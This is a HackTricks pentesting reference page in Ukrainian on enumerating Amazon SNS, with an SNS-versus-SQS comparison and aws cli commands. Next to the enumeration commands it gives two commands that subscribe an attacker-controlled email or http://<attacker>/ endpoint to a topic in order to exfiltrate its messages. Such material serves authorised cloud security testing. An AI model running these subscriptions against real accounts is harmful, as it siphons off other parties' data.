AWS - SNS Enum

Support HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) описується як повністю керована служба обміну повідомленнями. Вона підтримує як додаток-додатку (A2A), так і додаток-людина (A2P) типи комунікації.

Ключові особливості для A2A комунікації включають механізми публікації/підписки (pub/sub). Ці механізми вводять теми, які є критично важливими для забезпечення високої пропускної здатності, пуш-орієнтованого, багато до багатьох обміну повідомленнями. Ця функція є надзвичайно вигідною в сценаріях, що включають розподілені системи, мікросервіси та архітектури безсерверних подій. Використовуючи ці теми, системи видавців можуть ефективно розподіляти повідомлення на широкий спектр систем підписників, полегшуючи патерн обміну повідомленнями fanout.

Різниця з SQS

SQS є черговою службою, яка дозволяє точкову комунікацію, забезпечуючи обробку повідомлень одиничним споживачем. Вона пропонує доставку принаймні один раз, підтримує стандартні та FIFO черги, а також дозволяє зберігання повідомлень для повторних спроб і затриманої обробки. З іншого боку, SNS є службою на основі публікації/підписки, що дозволяє один до багатьох комунікацію, транслюючи повідомлення багатьом підписникам одночасно. Вона підтримує різні кінцеві точки підписки, такі як електронна пошта, SMS, функції Lambda та HTTP/HTTPS, і надає механізми фільтрації для цільової доставки повідомлень. Хоча обидві служби дозволяють декомпозицію між компонентами в розподілених системах, SQS зосереджується на черговій комунікації, а SNS підкреслює подієву, fan-out комунікацію.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Зверніть увагу, що якщо тема є типу FIFO, можуть бути використані лише підписники, які використовують протокол SQS (HTTP або HTTPS не можуть бути використані).

Також, навіть якщо --topic-arn містить регіон, переконайтеся, що ви вказали правильний регіон у --region, інакше ви отримаєте помилку, яка виглядає так, ніби ви не маєте доступу, але проблема в регіоні.

Неавтентифікований доступ

AWS - SNS Unauthenticated Enum

Підвищення привілеїв

AWS - SNS Privesc

Після експлуатації

AWS - SNS Post Exploitation

Постійність

AWS - SNS Persistence

Посилання

Підтримати HackTricks

Last updated